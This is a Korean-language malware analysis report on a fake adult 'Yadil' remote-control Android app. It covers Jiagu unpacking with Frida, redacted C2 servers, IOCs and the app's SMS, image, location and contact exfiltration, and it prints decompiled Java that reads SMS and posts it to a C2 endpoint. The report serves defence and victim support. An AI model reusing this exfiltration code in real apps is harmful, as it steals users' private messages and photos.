Yadil New (build variant) 상세 분석 보고서

Yadil (yadil_new) 심층 분석 보고서 — quantum_nano

· 분석일: 2026-09-30

· 패키지: com.pxzeyi.azxxjpzd.lknwezeqzd · 라벨: Yadil · 버전: 1.1.4 (vc 2)

· SHA256: bfd8bec5729682dc051134ab41045719... (앞 16, 12,741,343 bytes)

· 위장: "Yadil" 성인용 원격 리모컨 앱("APP Remote Control: 10000+ Patterns")

· 패밀리: wavegrid 계열 (위장 성인앱 + 전화번호/초대코드 로그인 게이트 + 접촉/이미지/SMS 탈취 + Jiagu 패킹)

· analysisLevel: dynamic (에뮬레이터+Frida DEX 덤프+tcpdump, 정적 디컴파일)

1. 개요

"Yadil" 성인 리모컨 앱으로 위장한 다중벡터 탈취 악성앱. 실행 시 전화번호+초대코드 로그인 게이트("야딜에 오신 것을 환영합니다 / 전화번호 입력")로 진입을 통제하고, 로그인 후 백그라운드 MyServices가 SMS·이미지·위치·연락처를 두 개의 C2로 유출한다.

2. 방어기제 / 패킹

· Jiagu(360) 패킹: assets/libjiagu.so, libjiagu_64.so, libjiagu_x86.so, libjiagu_x86_64.so. 배포 APK의 classes.dex 1개는 스텁 로더 — 정적 문자열 추출 0(메인 DEX 런타임 복호화).

· 우회(실측): DeepCoding_Root 에뮬레이터(API35, x86_64) + frida-server 16.7.19 + frida-dexdump → 런타임 메모리에서 복호화 DEX 24개(classes17~40) 덤프 성공. 이후 jadx로 13,765 java 디컴파일.

· SSL 검증 무력화(취약점): http.SSLSocketClient.createSSLSocketFactory() + getHostnameVerifier() = trust-all, cert pinning 부재 → MITM 가능(HttpHelper의 OkHttpClient에 배선).

3. C2 서버 (코드 확증)

# · C2 · 정의 위치 · 역할

1 · `[비공개] (AWS ap-southeast) · `http/Content.java` `BASEURL` · Retrofit API base — 로그인/유저/IM/코인

2 · `[비공개] · `base/MyApp.java` `bseUrl` · 탈취 덤프(SMS/이미지/위치) 업로드

· 지오로케이션 프로파일링: [비공개], [비공개], `[비공개] ([피해자 정보 비공개] IP 수집).

· 설치 귀속 SDK: ShareTrace([비공개].shoot.sharetracesdk).

· ⚠️ 런타임 실접속 미확증: 로그인 게이트(전화번호+초대코드) 통과 불가로 C2 실트래픽 미관측(tcpdump 86패킷 전부 Google). C2는 디컴파일 코드 상수로 확정(런타임 미확증).

4. API 엔드포인트 / 데이터 유출 (코드 확증)

ui/MyServices.java (백그라운드 Service, 5-스레드풀) doget() → showSms() + showLocation() + showXiangce():

벡터 · 소스 · 엔드포인트 · 형식

SMS · `content://sms` (address/body/date/type, ≤100건) · `{bseUrl}api/Anlei/subSmsList?type=android&userId=` · POST JSON {phone,userId,data:{sms[]}}

이미지 · `MediaStore.Images` (외장 갤러리) · `{bseUrl}api/AnLei/uploadImg?type=android&userId=` · POST JSON

위치 · `getLocation()` · (C2 업로드) · —

연락처 · `READ_CONTACTS` + `ContentUtil` · Retrofit API(C2 #1) · —

· ⚠️ SMS: showSms()가 content://sms 질의하나 매니페스트에 READ_SMS 미선언 → 런타임 SecurityException 가능(의도는 존재, 실행 실패 추정).

5. 권한

INTERNET, ACCESS_NETWORK_STATE, READ_CONTACTS, READ_EXTERNAL_STORAGE, READ_MEDIA_IMAGES, CAMERA, QUERY_ALL_PACKAGES, WRITE_EXTERNAL_STORAGE, POST_NOTIFICATIONS, FLASHLIGHT, VIBRATE, WAKE_LOCK, ACCESS_WIFI_STATE, CHANGE_NETWORK_STATE.

6. 데이터 모델 (Content.java — 금융사기 정황)

> [비공개]

7. 취약점

· SSL trust-all + hostname verifier 무력화(§2) — 통신 MITM/복호화 가능.

· 평문 HTTP C2(#1, `[비공개]) — 네트워크 스니핑 노출.

8. IOC

· package com.pxzeyi.azxxjpzd.lknwezeqzd, sha256 bfd8bec5729682dc051134ab41045719...

· C2: [비공개], [비공개]

· 엔드포인트: [비공개], [비공개]

· 패커: Jiagu(360) libjiagu*.so

· SDK: ShareTrace [비공개].shoot.sharetracesdk

9. 분석 스크립트

· scripts/jiagu_dexdump.sh — 에뮬레이터+frida-server+frida-dexdump 자동 언패킹(재사용).

· scripts/dex_c2_extract.py — 복호화 DEX ASCII 추출 + C2/엔드포인트/도메인 헌트(strings 바이너리 고장 우회).

10. 🔬 기법 점검

· 시도한 기법: DA(frida-dexdump Jiagu 언패킹), DA(tcpdump 런타임 C2 캡처), SA(jadx 디컴파일 base-url/엔드포인트 확증).

· 확장된 기법: 없음(기존 wavegrid 파이프라인 적용).

· 신규 기법: strings 바이너리 고장 시 Python ASCII 추출 우회(이 머신 rg/strings 치환 버그 사정권) — DEX C2 헌트에 적용.

· 한계 발견: 로그인 게이트(초대코드)로 런타임 C2 실접속 미확증 — 코드 상수로 확정. 초대코드 브루트포스는 OPSEC/정책상 미수행.

11. 혁신 점검

· 새 시도: frida-dexdump로 Jiagu 24-DEX 일괄 덤프 후 jadx 13,765 디컴파일 → base-url/exfil 엔드포인트를 코드 상수로 확정(런타임 게이트 우회 없이 C2 2개 특정).

· 결과: 성공(C2 2개·엔드포인트 2개·SSL 취약점 코드 확증).

· 다음 앱 아이디어: 동일 wavegrid 변종은 Content.BASEURL/MyApp.bseUrl 상수 위치가 고정 → 언팩 후 그 두 심볼만 grep으로 C2 즉시 특정(파이프라인화).

12. 디컴파일 코드 발췌 (실증)

12.1 C2 상수 (http/Content.java, base/MyApp.java)

```java

// Content.java

public static String BASEURL = "[비공개] // Retrofit API base

// MyApp.java

public static String bseUrl = "[비공개] // exfil dump C2

public static String userid = "";

```

12.3 SMS 탈취 (ui/MyServices.java) — content://sms → C2

```java

private void doget(){ showSms(); showLocation(); showXiangce(); }

public void showSms(){

Cursor c = getContentResolver().query(Uri.parse("content://sms"), null,null,null,null);

while(c.moveToNext() && arr.length()<100){

o.put("name", address); o.put("phone", address);

o.put("body", body); o.put("time", date); o.put("type", type); arr.put(o);

}

uploadSms(arr);

}

private void uploadSms(JSONArray arr){

String url = MyApp.bseUrl + "api/Anlei/subSmsList?type=android&userId=" + MyApp.userid;

// POST application/json { phone: MyApp.myphone, userId, data:{ sms: arr } }

}

// 이미지: MyApp.bseUrl + "api/AnLei/uploadImg?type=android&userId=" + MyApp.userid

```

※ showSms()는 READ_SMS 미선언 → 런타임 실패 가능(의도는 코드에 존재).

13. 결론

"Yadil" 성인 리모컨 위장 wavegrid 변종. Jiagu 패킹을 frida-dexdump로 언팩 후, 두 C2([비공개] API / [비공개] exfil)와 SMS·이미지·위치 탈취 엔드포인트, SSL trust-all 취약점을 디컴파일 코드로 확정. 전화번호+초대코드 게이트로 런타임 실접속은 미확증(코드 상수로 확정).

> 침투·역공 등 민감 분석 섹션은 비공개입니다. 피해 상담·전체 열람 문의: [비공개]

본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr